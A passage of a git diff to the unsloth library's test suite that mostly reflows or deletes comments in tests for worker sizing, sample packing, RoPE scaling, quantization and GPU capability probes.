test_memory_already_spent_in_the_container_is_not_counted_as_free(monkeypatch, dnp):- # Otherwise a container that has already spent most of its limit still reads- # as having the whole thing available.+ # Otherwise a container that has already spent most of its limit still reads as having the whole thing available.psutil = pytest.importorskip("psutil")_force_start_method(monkeypatch, dnp, "fork")_force_cpus(monkeypatch, dnp, 64)@@ -1224,8 +1207,8 @@ def test_memory_already_spent_in_the_container_is_not_counted_as_free(monkeypatcdef test_cpu_count_follows_the_affinity_mask(monkeypatch, dnp):- # Under taskset or Slurm pinning the host count is not what this process can- # run on, and workers would only contend for the cores it does have.+ # Under taskset or Slurm pinning the host count is not what this process can run on, and workers would only+ # contend for the cores it does have.psutil = pytest.importorskip("psutil")monkeypatch.setattr(psutil, "cpu_count", lambda *a, **k: 128)monkeypatch.setattr(dnp, "_cgroup_cpu_quota", lambda: None)@@ -1234,9 +1217,8 @@ def test_cpu_count_follows_the_affinity_mask(monkeypatch, dnp):def test_cpu_count_follows_a_fractional_cgroup_quota(monkeypatch, dnp):- # Kubernetes "cpu: 500m" is cpu.max "50000 100000" = 0.5 cores. Requiring a- # whole core would fall back to the host count, so a half-core pod would size- # workers from every core on the machine.+ # Kubernetes "cpu: 500m" is cpu.max "50000 100000" = 0.5 cores. Requiring a whole core would fall back to the+ # host count, so a half-core pod would size workers from every core on the machine.psutil = pytest.importorskip("psutil")monkeypatch.setattr(psutil, "cpu_count", lambda *a, **k: 128)monkeypatch.setattr(dnp.os, "sched_getaffinity", lambda pid: set(range(128)), raising = False)@@ -1288,8 +1270,8 @@ def test_serial_is_one_when_the_two_modules_disagree(monkeypatch, dnp, capsys):def test_serial_stays_none_when_the_zoo_would_refuse_workers_too(monkeypatch, dnp):- # macOS: multiprocess forks, stdlib spawns. Its own veto fires, so None is- # genuinely in-process there and 1 would be a pool it did not need.+ # macOS: multiprocess forks, stdlib spawns. Its own veto fires, so None is genuinely in-process there and 1 would+ # be a pool it did not need._force_start_method(monkeypatch, dnp, "fork")monkeypatch.setattr(dnp.sys, "platform", "darwin")_force_stdlib_start_method(monkeypatch, dnp, "spawn")@@ -1355,8 +1337,8 @@ def test_free_memory_pairs_each_limit_with_its_own_usage(monkeypatch, dnp, tmp_pleaf = slice_dir / "session.scope"leaf.mkdir(parents = True)- # The slice caps 32GB and 30 of them are spent, mostly by a sibling; this- # leaf has a 16GB cap of its own and has spent 1.+ # The slice caps 32GB and 30 of them are spent, mostly by a sibling; this leaf has a 16GB cap of its own and has+ # spent 1.(slice_dir / "memory.max").write_text("34359738368\n")(slice_dir / "memory.current").write_text("32212254720\n")(leaf / "memory.max").write_text("17179869184\n")@@ -1517,9 +1499,8 @@ def _no_hf_xet_tuning(monkeypatch):def test_no_unsloth_zoo_and_no_cgroup_is_not_a_ceiling(monkeypatch, dnp, tmp_path):- # The cgroup tree is pointed away from the host's on purpose: the unaided- # reader needs no unsloth_zoo, so leaving it on the real /sys/fs/cgroup would- # make the assertion depend on whether the runner is itself in a limited+ # The cgroup tree is pointed away from the host's on purpose: the unaided reader needs no unsloth_zoo, so leaving+ # it on the real /sys/fs/cgroup would make the assertion depend on whether the runner is itself in a limited# container, which is how this test would fail on CI and pass on a laptop._no_hf_xet_tuning(monkeypatch)monkeypatch.setattr(dnp, "CGROUP_ROOT", str(tmp_path / "absent"))@@ -1564,8 +1545,8 @@ def test_env_forced_serial_is_in_process_on_a_small_split(monkeypatch, dnp):def test_a_memory_starved_explicit_count_is_in_process_on_a_small_split(monkeypatch, dnp):- # Same shape without the env var: the memory clamp resolves to serial, and- # under the threshold that has an exact encoding.+ # Same shape without the env var: the memory clamp resolves to serial, and under the threshold that has an exact+ # encoding._force_start_method(monkeypatch, dnp, "fork")_force_stdlib_start_method(monkeypatch, dnp, "fork")monkeypatch.setattr(dnp, "_affordable_workers", lambda: 0)diff --git a/tests/utils/test_packing.py b/tests/utils/test_packing.pyindex 6532f203de2..c8d55ff3634 100644--- a/tests/utils/test_packing.py+++ b/tests/utils/test_packing.py@@ -203,7 +203,7 @@ class _FakeGatedDeltaNet(torch.nn.Module):self.conv1d = torch.nn.Conv1d(4, 4, 3, groups = 4)self.A_log = torch.nn.Parameter(torch.zeros(4))- def forward(self, hidden_states, **kwargs): # dispatch through self.<kernel>+ def forward(self, hidden_states, **kwargs):return self.chunk_gated_delta_rule(self.causal_conv1d_fn(hidden_states))@@ -353,7 +353,7 @@ def test_patch_hybrid_varlen_active_and_idempotent(monkeypatch):assert patch_hybrid_linear_attention_varlen(model) is Trueassert model._unsloth_varlen_forward_wrapped is Trueassert model.linear_attn._unsloth_varlen_wrapped is True- assert patch_hybrid_linear_attention_varlen(model) is True # idempotent, no double-wrap+ assert patch_hybrid_linear_attention_varlen(model) is Trueconv_orig.calls.clear()scan_orig.calls.clear()@@ -433,12 +433,11 @@ def _hybrid_model_with_gdn(gdn_forward):def test_patch_hybrid_varlen_no_dispatch_aborts(monkeypatch):- # Dispatch is verified at runtime, not statically. A mixer that never calls- # self.<kernel> installs the shim, but the first packed forward aborts (both- # boundary kernels are load-bearing).+ # Dispatch is verified at runtime, not statically. A mixer that never calls self.<kernel> installs the shim, but+ # the first packed forward aborts (both boundary kernels are load-bearing).monkeypatch.setenv("UNSLOTH_EXPERIMENTAL_HYBRID_PACKING", "1")model = _hybrid_model_with_gdn(lambda self, hidden_states, **kw: hidden_states)- assert patch_hybrid_linear_attention_varlen(model) is True # kernels valid -> installs+ assert patch_hybrid_linear_attention_varlen(model) is Truewith pytest.raises(RuntimeError, match = "both invoked"):model(input_ids = torch.zeros(1, 6),@@ -580,8 +579,8 @@ def test_vlm_without_processing_class_still_disables_packing():),)def test_encoder_decoder_disables_packing(model_type, architecture):- # Text-only encoder-decoder models are not VLMs, but their bidirectional encoder- # attends across concatenated samples once padding-free drops attention_mask.+ # Text-only encoder-decoder models are not VLMs, but their bidirectional encoder attends across concatenated samples+ # once padding-free drops attention_mask.fake_trainer = _patch_fake_sft_trainer()config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)model = SimpleNamespace(@@ -929,7 +928,6 @@ def _build_trl_language_modeling_collator():collator = DataCollatorForLanguageModeling(**{key: value for key, value in wanted.items() if key in accepted})- # Ensure attributes exist even when this TRL has no such field.if not hasattr(collator, "padding_free"):collator.padding_free = Trueif not hasattr(collator, "return_position_ids"):@@ -963,7 +961,6 @@ def test_enable_sample_packing():enable_sample_packing(model, trainer)- # model hierarchy now allows packed overlength inputsassert getattr(model, "_unsloth_allow_packed_overlength") is Trueassert getattr(model.child, "_unsloth_allow_packed_overlength") is True@@ -985,7 +982,6 @@ def test_enable_sample_packing():]batch = collator.torch_call(examples)- # packed lengths aggregated into one tensorassert "packed_seq_lengths" in batchassert torch.equal(batch["packed_seq_lengths"], torch.tensor([2, 1, 3], dtype = torch.int32))@@ -1185,9 +1181,9 @@ def test_packing_sdpa(tmp_path):# fmt: off-# Named to match the unsloth_zoo helper (sourced by name, "def sft_prepare_dataset" ->-# "def _prepare_dataset"). Deliberately OMITS the "licensed under LGPLv3" header to-# emulate a newer Zoo whose header moved (dependency is only lower-bounded). Source only.+# Named to match the unsloth_zoo helper (sourced by name, "def sft_prepare_dataset" -> "def _prepare_dataset").+# Deliberately OMITS the "licensed under LGPLv3" header to emulate a newer Zoo whose header moved (dependency is only+# lower-bounded). Source only.def sft_prepare_dataset(self, dataset, processing_class, args, packing, formatting_func, dataset_text_field):@@ -1211,11 +1207,10 @@ def sft_prepare_dataset(def test_wrapped_packing_injection_is_drift_resistant(monkeypatch):- # Regression: the setup used to anchor on the Zoo license comment, so a header- # change silently no-op'd it while the truncation/pack edits still referenced its- # variables -> NameError on every SFT prep. It must now install via the signature- # before those references, and the pack edit must reuse the guarded- # _unsloth_pack_has_strategy instead of re-calling _inspect.signature(pack_dataset).+ # Regression: the setup used to anchor on the Zoo license comment, so a header change silently no-op'd it while+ # the truncation/pack edits still referenced its variables -> NameError on every SFT prep. It must now install via+ # the signature before those references, and the pack edit must reuse the guarded _unsloth_pack_has_strategy+ # instead of re-calling _inspect.signature(pack_dataset).import astimport textwrapimport unsloth.models.rl_replacements as rlr@@ -1317,9 +1312,9 @@ def _warn_text_model():def test_packing_skip_warning_is_accurate(monkeypatch, caplog):- # Two things the message used to get wrong: it blamed a "custom data collator" for- # UNSLOTH_RETURN_LOGITS (which unsloth sets itself for compute_metrics), and it quoted a- # token limit read before max_seq_length / max_length / the model limit are reconciled.+ # Two things the message used to get wrong: it blamed a "custom data collator" for UNSLOTH_RETURN_LOGITS (which+ # unsloth sets itself for compute_metrics), and it quoted a token limit read before max_seq_length / max_length /+ # the model limit are reconciled.monkeypatch.setenv("UNSLOTH_RETURN_LOGITS", "1")fake_trainer = _patch_fake_sft_trainer()config = SimpleNamespace(@@ -1347,8 +1342,8 @@ def test_packing_skip_warning_is_accurate(monkeypatch, caplog):def test_packing_skip_warning_keeps_custom_collator_reason(monkeypatch, caplog):- # A passed collator must still be named as the cause; the env-var fallback is only for- # the case where nothing else blocks packing.+ # A passed collator must still be named as the cause; the env-var fallback is only for the case where nothing else+ # blocks packing.monkeypatch.delenv("UNSLOTH_RETURN_LOGITS", raising = False)fake_trainer = _patch_fake_sft_trainer()config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)@@ -1370,15 +1365,12 @@ def test_packing_skip_warning_keeps_custom_collator_reason(monkeypatch, caplog):# --- packed-boundary guard on the fused-CE path ---------------------------------------# mask_packed_sequence_boundaries needs shifted labels, so fused-CE paths (which shift# internally) call mask_packed_boundary_labels, the pre-shift equivalent.--def test_mask_packed_boundary_labels_masks_next_document_first_token():labels = torch.arange(6, dtype = torch.long).view(1, 6)out = mask_packed_boundary_labels(labels, torch.tensor([2, 1, 3], dtype = torch.int32))- # Docs start at 0, 2, 3; masking their first token stops the previous doc predicting- # it. Slot 0 is the out-of-range redirect: harmless, the shift discards labels[0].+ # Docs start at 0, 2, 3; masking their first token stops the previous doc predicting it. Slot 0 is the+ # out-of-range redirect: harmless, the shift discards labels[0].assert out.reshape(-1).tolist() == [-100, 1, -100, -100, 4, 5]- # out-of-placeassert labels.reshape(-1).tolist() == [0, 1, 2, 3, 4, 5]assert out.shape == labels.shapeassert out.dtype == labels.dtype@@ -1469,8 +1461,8 @@ def _make_stub_causal_lm(stub = SimpleNamespace(model = model,lm_head = lm_head,- # Mistral's `elif self.training:` mask branch is only reached without xformers,- # so omitting this passes locally but AttributeErrors on CI.+ # Mistral's `elif self.training:` mask branch is only reached without xformers, so omitting this passes locally+ # but AttributeErrors on CI.training = True,config = SimpleNamespace(output_attentions = False,@@ -1520,12 +1512,11 @@ def test_fused_ce_branch_masks_packed_boundaries(monkeypatch, module_name):got = seen["labels"].reshape(-1).tolist()# slot 3 (first token of doc 2) is dropped; slot 0 is the harmless redirect.assert got == [-100, 1, 2, -100, 4, 5, 6, 7], got- # out-of-placeassert labels.reshape(-1).tolist() == list(range(seq))-# 3. the collator wrappers must leave boundary targets in place: unsloth_zoo counts-# num_items_in_batch off this batch and already deducts them+# 3. the collator wrappers must leave boundary targets in place: unsloth_zoo counts num_items_in_batch off this+# batch and already deducts themclass _UnmaskedPackingCollator:"""Padding-free collator that does NOT pre-mask boundaries, like TRL < 0.24 - a testbuilt on TRL 0.24+ output would pass either way."""diff --git a/tests/utils/test_prepare_inputs_leftpad.py b/tests/utils/test_prepare_inputs_leftpad.pyindex 9a64103770f..5a77c13becd 100644--- a/tests/utils/test_prepare_inputs_leftpad.py+++ b/tests/utils/test_prepare_inputs_leftpad.py@@ -30,9 +30,8 @@ FUNC_NAME = "_fast_prepare_inputs_for_generation"# Layer 1: AST structural guard (stdlib only, no unsloth import)# ---------------------------------------------------------------------------# Model files that call fix_prepare_inputs_for_generation(...) and share the-# guarded function. glm4_moe (MLA attention, different path) and falcon_h1-# (its own variant) are intentionally absent.+# Model files that call fix_prepare_inputs_for_generation(...) and share the guarded function.+# glm4_moe (MLA attention, different path) and falcon_h1 (its own variant) are intentionally absent.WIRED_MODEL_FILES = ["mistral.py","gemma.py",@@ -149,8 +148,8 @@ def test_cache_position_only_used_as_fallback_for_position_ids():if not any(_is_kwargs_position_ids_target(t) for t in node.targets):continuevalue_names = _names_in(node.value)- # Direct use of cache_position, or the local alias `cp` the current- # implementation builds from it inside the fallback branch.+ # Direct use of cache_position, or the local alias `cp` the current implementation builds from it inside the+ # fallback branch.derives_from_cache_position = any("cache_position" in n for n in value_names) or bool(value_names & {"cp"})@@ -318,9 +317,8 @@ def test_prefill_position_ids_derived_from_left_padded_mask():@pytest.mark.parametrize("pass_cache_position", [True, False])def test_cached_decode_position_ids_ignore_left_padding(pass_cache_position):- # Decode step: PAST_LEN tokens cached, current token is the mask's last- # column. Row 0 has 2 pads, so its current token sits at logical position 2,- # NOT at cache_position == PAST_LEN. This is exactly issue #3699.+ # Decode step: PAST_LEN tokens cached, current token is the mask's last column. Row 0 has 2 pads, so its current+ # token sits at logical position 2, NOT at cache_position == PAST_LEN. This is exactly issue #3699.input_ids = torch.arange(BS * SEQ).reshape(BS, SEQ)kwargs = {"past_key_values": FakeDynamicCache(PAST_LEN)}if pass_cache_position:@@ -385,7 +383,8 @@ def test_caller_supplied_position_ids_are_passed_through():def test_legacy_tuple_cache_still_takes_cached_decode_path():- # Legacy cache format: tuple of (K, V) per layer; past length from K.shape[-2].+ # Legacy cache format: tuple of (K, V) per layer;+ # past length from K.shape[-2].k = torch.zeros((BS, 1, PAST_LEN, 8))legacy_cache = ((k, k.clone()),)input_ids = torch.arange(BS * SEQ).reshape(BS, SEQ)diff --git a/tests/utils/test_q_galore.py b/tests/utils/test_q_galore.pyindex a4714b0bda2..5190d01b124 100644--- a/tests/utils/test_q_galore.py+++ b/tests/utils/test_q_galore.py@@ -65,7 +65,7 @@ class TestGaLoreProjector:def test_project_and_back_tall(self):"""Project → project_back preserves shape for tall matrices."""proj = GaLoreProjector(rank = 4, update_proj_gap = 1)- grad = torch.randn(16, 8) # tall+ grad = torch.randn(16, 8)low = proj.project(grad, step = 0)assert low.shape == (16, 4)@@ -90,7 +90,7 @@ class TestGaLoreProjector:assert proj.svd_count == 1proj.project(grad, step = 1)- assert proj.svd_count == 1 # No recomputation+ assert proj.svd_count == 1proj.project(grad, step = 100)assert proj.svd_count == 2 # Recomputed@@ -367,7 +367,6 @@ class TestQGaLoreIntegration:groups = make_q_galore_param_groups(model, rank = 8, weight_quant = False)- # Simulate splitting the non-GaLore group for embedding LR.embed_lr = 5e-5new_groups = []for group in groups:@@ -392,7 +391,6 @@ class TestQGaLoreIntegration:g["lr"] = embed_lrnew_groups.append(g)- # 3 groups: galore, non-galore non-embed, embed.embed_groups = [g for g in new_groups if g.get("lr") == embed_lr]assert len(embed_groups) == 1assert embed_groups[0]["lr"] == embed_lrdiff --git a/tests/utils/test_qat.py b/tests/utils/test_qat.pyindex 08a88da2b82..e4118820189 100644--- a/tests/utils/test_qat.py+++ b/tests/utils/test_qat.py@@ -5,8 +5,7 @@ from typing import Dictimport pytestimport torch-# torchao is an optional extra. Skip the module instead of printing and then failing-# every test on NameError once the import did not land.+# torchao is an optional extra.pytest.importorskip("torchao.quantization.qat",reason = "install or upgrade with: pip install 'torchao>=0.15.0'",@@ -21,7 +20,6 @@ from torchao.quantization.qat.fake_quantizer import ()# Loads a real model per qat_scheme and fake-quantizes it on the accelerator.-# CI runs it under `-m gpu`.pytestmark = pytest.mark.gpu@@ -77,7 +75,6 @@ def _test_linear_is_fake_quantized(linear: torch.nn.Linear, qat_scheme: str):else:raise ValueError(f"Unknown qat_scheme: {qat_scheme}")- # Check base layer activations and weights.base_layer = getattr(linear, "base_layer", linear)if base_layer.in_features >= min_in_features:assert isinstance(base_layer, FakeQuantizedLinear)@@ -85,7 +82,6 @@ def _test_linear_is_fake_quantized(linear: torch.nn.Linear, qat_scheme: str):assert isinstance(base_layer.activation_fake_quantizer, act_fq_class)assert isinstance(base_layer.weight_fake_quantizer, weight_fq_class)- # Check lora A and B (full_finetuning=False only).if hasattr(linear, "lora_A") and hasattr(linear, "lora_B"):lora_A = linear.lora_A.defaultlora_B = linear.lora_B.default@@ -120,8 +116,7 @@ def _test_fake_quantizers_are_called(assert child.activation_fake_quantizer.count == 1assert child.weight_fake_quantizer.count == 1else:- # LoRA fake-quantizes input activations once per block:- # self_attn via q_proj, mlp via gate_proj.+ # LoRA fake-quantizes input activations once per block: self_attn via q_proj, mlp via gate_proj.if name == "self_attn":base_layer = child.q_proj.base_layerif not weight_only:@@ -167,8 +162,8 @@ def _test_model_fake_quantize(qat_scheme: str, full_finetuning: bool):_test_fake_quantizers_are_called(model, inputs, full_finetuning, qat_scheme)-# TODO: there are bad interactions across tests right now, need to figure out-# how to disable model caching before re-enabling this test+# TODO: there are bad interactions across tests right now, need to figure out how to disable model caching before+# re-enabling this test@pytest.mark.parametrize("qat_scheme", ["fp8-int4", "fp8-fp8", "int8", "cactus"])def _test_full_model_fake_quantize(qat_scheme: str):_test_model_fake_quantize(qat_scheme, full_finetuning = True)diff --git a/tests/utils/test_rope_scaling_drift.py b/tests/utils/test_rope_scaling_drift.pyindex 7fe4e74d5ca..4a97c77e13d 100644--- a/tests/utils/test_rope_scaling_drift.py+++ b/tests/utils/test_rope_scaling_drift.py@@ -50,9 +50,6 @@ HEAD_DIM = 128MAX_POS = 131072-# --- Layer 1: AST structural tripwire (stdlib only, no unsloth import) -----def _load_class_init():tree = ast.parse(LLAMA_PY.read_text(encoding = "utf-8"))for node in ast.walk(tree):@@ -115,9 +112,8 @@ def _find_function(source_path, function_name):def test_config_path_inspects_rope_scaling():init_fn = _load_class_init()- # inv_freq is derived through the shared _unsloth_recompute_inv_freq helper- # (or still inlined in the config branch on older layouts); whichever scope- # holds the scaling must read config.rope_scaling and call+ # inv_freq is derived through the shared _unsloth_recompute_inv_freq helper (or still inlined in the config branch+ # on older layouts); whichever scope holds the scaling must read config.rope_scaling and call# _compute_config_rope_inv_freq, else scaled models run unscaled (#2405)._, _, init_call_attrs = _iter_names_and_calls(init_fn)scope = _find_method(LLAMA_PY, CLASS_NAME, "_unsloth_recompute_inv_freq")@@ -150,9 +146,8 @@ def test_config_path_inspects_rope_scaling():def test_v5_repair_reuses_recompute():- # transformers v5 blanks non-persistent buffers on load, so- # loader._fix_rope_inv_freq rebuilds inv_freq; it must reuse the scaled- # recompute, since an unscaled rebuild re-drops llama3 scaling (#2405).+ # transformers v5 blanks non-persistent buffers on load, so loader._fix_rope_inv_freq rebuilds inv_freq; it must+ # reuse the scaled recompute, since an unscaled rebuild re-drops llama3 scaling (#2405).fix_fn = _find_function(LOADER_PY, "_fix_rope_inv_freq")assert fix_fn is not None, ("loader._fix_rope_inv_freq not found; if it was renamed, update this "@@ -166,9 +161,6 @@ def test_v5_repair_reuses_recompute():)-# --- Layer 2: CPU behavioral guard (pure helper, no instantiation) -----def _make_config(rope_scaling):from transformers import LlamaConfigreturn LlamaConfig(@@ -260,9 +252,9 @@ def test_recompute_helper_scales_on_cpu():def test_extended_rope_scaling_keeps_llama3_and_carries_theta():- # Long-context extension keeps native llama3, but falls back to linear for every other- # type (the patched attention constructor only rebuilds linear/llama3/longrope), and the- # linear dict carries rope_theta so transformers v5 does not fall back to base 10000.+ # Long-context extension keeps native llama3, but falls back to linear for every other type (the patched attention+ # constructor only rebuilds linear/llama3/longrope), and the linear dict carries rope_theta so transformers v5 does+ # not fall back to base 10000.from types import SimpleNamespacefrom unsloth.models.llama import _extended_rope_scaling@@ -293,8 +285,8 @@ def test_extended_rope_scaling_keeps_llama3_and_carries_theta():def test_extended_rotary_reads_config_factor():- # LlamaExtendedRotaryEmbedding must honor the config factor, not hardcode 8- # (Llama-3.2 uses 32); otherwise the subclass path re-drops scaling (#2405).+ # LlamaExtendedRotaryEmbedding must honor the config factor, not hardcode 8 (Llama-3.2 uses 32); otherwise the+ # subclass path re-drops scaling (#2405).from types import SimpleNamespacefrom unsloth.models.llama import LlamaExtendedRotaryEmbedding@@ -359,9 +351,6 @@ def _cos_at_position(rot, position):return emb.cos().squeeze(0)-# --- Layer 3: CUDA behavioral guard (real instantiation needs a device) -----@requires_gpudef test_constructor_applies_llama3_scaling():config = _make_config(LLAMA3_ROPE_SCALING)@@ -402,7 +391,6 @@ def test_cos_cache_differs_between_scaled_and_unscaled_at_long_position():@requires_gpudef test_extended_cache_keeps_scaling_after_growth():scaled = _unsloth_rotary(_make_config(LLAMA3_ROPE_SCALING))- # Grow past the initial cache size (mirrors long-context decode).dummy = torch.zeros(1, dtype = torch.float32)scaled.extend_rope_embedding(dummy, seq_len = 40960)@@ -498,7 +486,6 @@ def test_v5_blank_repair_roundtrip(build):def test_object_style_rope_scaling_does_not_crash():- # Object-style rope_scaling must be normalized, not .get()'d directly.from dataclasses import dataclassfrom unsloth.models.llama import _compute_config_rope_inv_freq@@ -523,6 +510,7 @@ def test_object_style_rope_scaling_does_not_crash():def test_object_style_rope_scaling_on_config_delegates_correctly():+ # Object-style rope_scaling must be normalized, not .get()'d directly.# 'linear' has no inline fallback; only the normalized-config retry passes this.from dataclasses import dataclassdiff --git a/tests/utils/test_train_on_responses_only_num_proc.py b/tests/utils/test_train_on_responses_only_num_proc.pyindex c1a4ae413da..75b830626e3 100644--- a/tests/utils/test_train_on_responses_only_num_proc.py+++ b/tests/utils/test_train_on_responses_only_num_proc.py@@ -65,18 +65,14 @@ SMALL = dnp.ZOO_MIN_ROWS_FOR_MULTIPROC - 1def _reset(monkeypatch):dnp.reset_warning_state()monkeypatch.delenv(dnp.NUM_PROC_ENV_VAR, raising = False)- # Pin CPUs, memory and both start methods so the assertions are about the- # wrapper, not this machine. Auto is min(max(cpus // 2, AUTO_NUM_PROC_CAP)),- # so reaching the cap needs >= 2 * AUTO_NUM_PROC_CAP usable CPUs -- and- # "usable" is the smallest of the host, the affinity mask and any cgroup- # quota, so patching psutil alone would still read a 4-vCPU runner as 4.+ # Pin CPUs, memory and both start methods so the assertions are about the wrapper, not this machine.+ # Auto is min(max(cpus // 2, AUTO_NUM_PROC_CAP)), so reaching the cap needs >= 2 * AUTO_NUM_PROC_CAP usable CPUspytest.importorskip("psutil")monkeypatch.setattr(dnp, "_usable_cpus", lambda: 64)monkeypatch.setattr(dnp, "_affordable_workers", lambda: 1000)monkeypatch.setattr(dnp, "multiprocessing_start_method", lambda: "fork")- # The zoo's own auto path reads stdlib multiprocessing; agreeing here keeps- # these cases about the row thresholds. The disagreement is covered in- # test_dataset_num_proc.py.+ # The zoo's own auto path reads stdlib multiprocessing;+ # The disagreement is covered in test_dataset_num_proc.py.monkeypatch.setattr(dnp, "_zoo_auto_sizer_forks", lambda: True)yielddnp.reset_warning_state()@@ -236,21 +232,18 @@ def test_env_override_wins_on_the_split_size_shortcut(monkeypatch, trainer):assert dnp.resolve_responses_only_num_proc(trainer, None) == 3-# ── Serial is encoded for the zoo, which reads None as "auto" ──--@pytest.fixturedef _spawn(monkeypatch):- # Both modules on spawn, the ordinary Windows host. The interesting case is- # when they disagree, which is what _split below covers.+ # Both modules on spawn, the ordinary Windows host. The interesting case is when they+ # disagree, which is what _split below covers.monkeypatch.setattr(dnp, "multiprocessing_start_method", lambda: "spawn")monkeypatch.setattr(dnp, "_zoo_auto_sizer_forks", lambda: False)@pytest.fixturedef _split(monkeypatch):- # multiprocess on spawn, stdlib still on fork: a None here is "size it for- # me" to the zoo, and datasets then builds that pool on the spawn context.+ # multiprocess on spawn, stdlib still on fork: a None here is "size it for me" to the zoo,+ # and datasets then builds that pool on the spawn context.monkeypatch.setattr(dnp, "multiprocessing_start_method", lambda: "spawn")monkeypatch.setattr(dnp, "_zoo_auto_sizer_forks", lambda: True)diff --git a/tests/utils/test_varlen_int32_overflow_guard.py b/tests/utils/test_varlen_int32_overflow_guard.pyindex bbe772fa02b..df464970791 100644--- a/tests/utils/test_varlen_int32_overflow_guard.py+++ b/tests/utils/test_varlen_int32_overflow_guard.py@@ -135,12 +135,13 @@ def _run(return taken.get("backend")-# 8129 documents at 16 heads / head_dim 128 is the last count that ran; 20000 is well past it.@pytest.mark.parametrize("backend", [ad.XFORMERS, ad.FLASH_VARLEN])def test_oversized_partition_falls_back_to_sdpa(monkeypatch, backend):assert _run(monkeypatch, backend, n_docs = 20000, requires_grad = True) == ad.SDPA+# 8129 documents at 16 heads / head_dim 128 is the last count that ran;+# 20000 is well past it.@pytest.mark.parametrize("backend", [ad.XFORMERS, ad.FLASH_VARLEN])def test_softcapped_model_raises_instead_of_silently_dropping_the_softcap(monkeypatch, backend):"""Gemma 2 hands `attn_logit_softcapping` to the fast kernels throughdiff --git a/tests/utils/test_xformers_capability_gate.py b/tests/utils/test_xformers_capability_gate.pyindex 7514c623e37..0560b4e80fb 100644--- a/tests/utils/test_xformers_capability_gate.py+++ b/tests/utils/test_xformers_capability_gate.py@@ -42,10 +42,9 @@ def test_capability_gate(capability, probe_result, expect_disabled):"sm_120 kernel, so asserting True there would be a false failure",)def test_probe_shapes_are_valid_on_working_gpu():- # Guards against a malformed probe that raises on every GPU and would silently- # disable xformers on Blackwell even where it works. On a pre-sm_120 GPU with a- # functional xformers the real probe must succeed; sm_120+ is skipped above because- # there a False is a correct answer, not a malformed probe.+ # Guards against a malformed probe that raises on every GPU and would silently disable xformers on Blackwell even+ # where it works. On a pre-sm_120 GPU with a functional xformers the real probe must succeed; sm_120+ is skipped+ # above because there a False is a correct answer, not a malformed probe.assert ad._xformers_runs_on_device() is True@@ -54,9 +53,9 @@ def test_probe_shapes_are_valid_on_working_gpu():[(True, torch.bfloat16), (False, torch.float16)],)def test_probe_dtype_follows_bf16_support(monkeypatch, supports_bf16, expected_dtype):- # Pre-Ampere GPUs (sm < 80: Turing/Volta, e.g. T4/V100) run xformers fine in- # float16 but have no bfloat16 attention kernel, so a hardcoded bf16 probe would- # raise there, get swallowed to False, and misreport a working xformers as broken.+ # Pre-Ampere GPUs (sm < 80: Turing/Volta, e.g.+ # T4/V100) run xformers fine in float16 but have no bfloat16 attention kernel, so a hardcoded bf16 probe would raise+ # there, get swallowed to False, and misreport a working xformers as broken.# The probe must pick its dtype from SUPPORTS_BFLOAT16 (no Turing GPU needed here).captured = {}@@ -75,10 +74,9 @@ def test_probe_dtype_follows_bf16_support(monkeypatch, supports_bf16, expected_ddef test_probe_syncs_and_fails_on_deferred_async_error(monkeypatch):- # A CUDA kernel launch is async: xformers_attention can return before the GPU- # reports a failure. The probe must synchronize so a deferred launch/runtime error- # is caught and disables xformers here, instead of surfacing later on an unrelated- # CUDA call (unslothai/unsloth#6828 review). No GPU needed: everything is stubbed.+ # A CUDA kernel launch is async: xformers_attention can return before the GPU reports a failure.+ # The probe must synchronize so a deferred launch/runtime error is caught and disables xformers here, instead of+ # surfacing later on an unrelated CUDA call (unslothai/unsloth#6828 review)._bias = type("B",(),@@ -97,6 +95,6 @@ def test_probe_syncs_and_fails_on_deferred_async_error(monkeypatch):raise RuntimeError("CUDA error: an illegal memory access was encountered")monkeypatch.setattr(ad.torch.cuda, "synchronize", deferred_cuda_error)- # Without the synchronize the stubbed op returns cleanly and the probe wrongly- # reports True; the sync surfaces the deferred error so the probe returns False.+ # Without the synchronize the stubbed op returns cleanly and the probe wrongly reports True; the sync surfaces the+ # deferred error so the probe returns False.assert ad._xformers_runs_on_device() is Falsediff --git a/tests/version_compat/test_bitsandbytes_pinned_symbols.py b/tests/version_compat/test_bitsandbytes_pinned_symbols.pyindex ba4d05c3425..24c7bd96eda 100644--- a/tests/version_compat/test_bitsandbytes_pinned_symbols.py+++ b/tests/version_compat/test_bitsandbytes_pinned_symbols.py@@ -11,8 +11,7 @@ import pytestfrom tests.version_compat._fetch import fetch_text, first_match, has_def-# pyproject pin: bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0-# Test floor + each safe minor since.+# pyproject pin: bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0 Test floor + each safe minor since.BNB_TAGS = ["0.45.5","0.47.0", # skip 0.46.0 (broken)@@ -22,8 +21,6 @@ BNB_TAGS = [# bnb.functional dequantize_4bit / quantize_4bit: the public 4-bit surface unsloth kernels call into.--@pytest.mark.parametrize("tag", BNB_TAGS)def test_bnb_functional_4bit(tag: str):candidates = [@@ -41,8 +38,6 @@ def test_bnb_functional_4bit(tag: str):# bnb.nn.Linear4bit / Params4bit: peft + unsloth isinstance-check these; renaming breaks 4-bit LoRA.--@pytest.mark.parametrize("tag", BNB_TAGS)def test_bnb_nn_linear4bit_classes(tag: str):candidates = [@@ -67,12 +62,8 @@ def test_bnb_nn_linear4bit_classes(tag: str):)-# Coverage extension (2026-05): every bnb symbol unsloth + unsloth-zoo touch.--+# Coverage extension (2026-05):# Top-level export: unsloth/kernels/utils.py + zoo vllm_utils.py call bnb.matmul_4bit(...).--@pytest.mark.parametrize("tag", BNB_TAGS)def test_bnb_matmul_4bit_top_level(tag: str):src = fetch_text("bitsandbytes-foundation/bitsandbytes", tag, "bitsandbytes/__init__.py")diff --git a/tests/version_compat/test_peft_conversion_symbol_backfill.py b/tests/version_compat/test_peft_conversion_symbol_backfill.pyindex 8f35347af00..c2ccc67bfe1 100644--- a/tests/version_compat/test_peft_conversion_symbol_backfill.py+++ b/tests/version_compat/test_peft_conversion_symbol_backfill.py@@ -119,8 +119,7 @@ def test_a_module_blocked_by_another_drift_is_retried(monkeypatch):def fake_import(name, *a, **kw):if name == blocked:attempts["blocked"] += 1- # Importable only once the other module has been backfilled, which- # is exactly the real dependency.+ # Importable only once the other module has been backfilled, which is exactly the real dependency.other = sys.modules.get(unblocker)if other is None or any(not hasattr(other, s) for s in F._PEFT_CONVERSION_SYMBOLS[unblocker]@@ -227,14 +226,14 @@ def _peft_converter_source():pkg = base + "transformers_weight_conversion/"init = 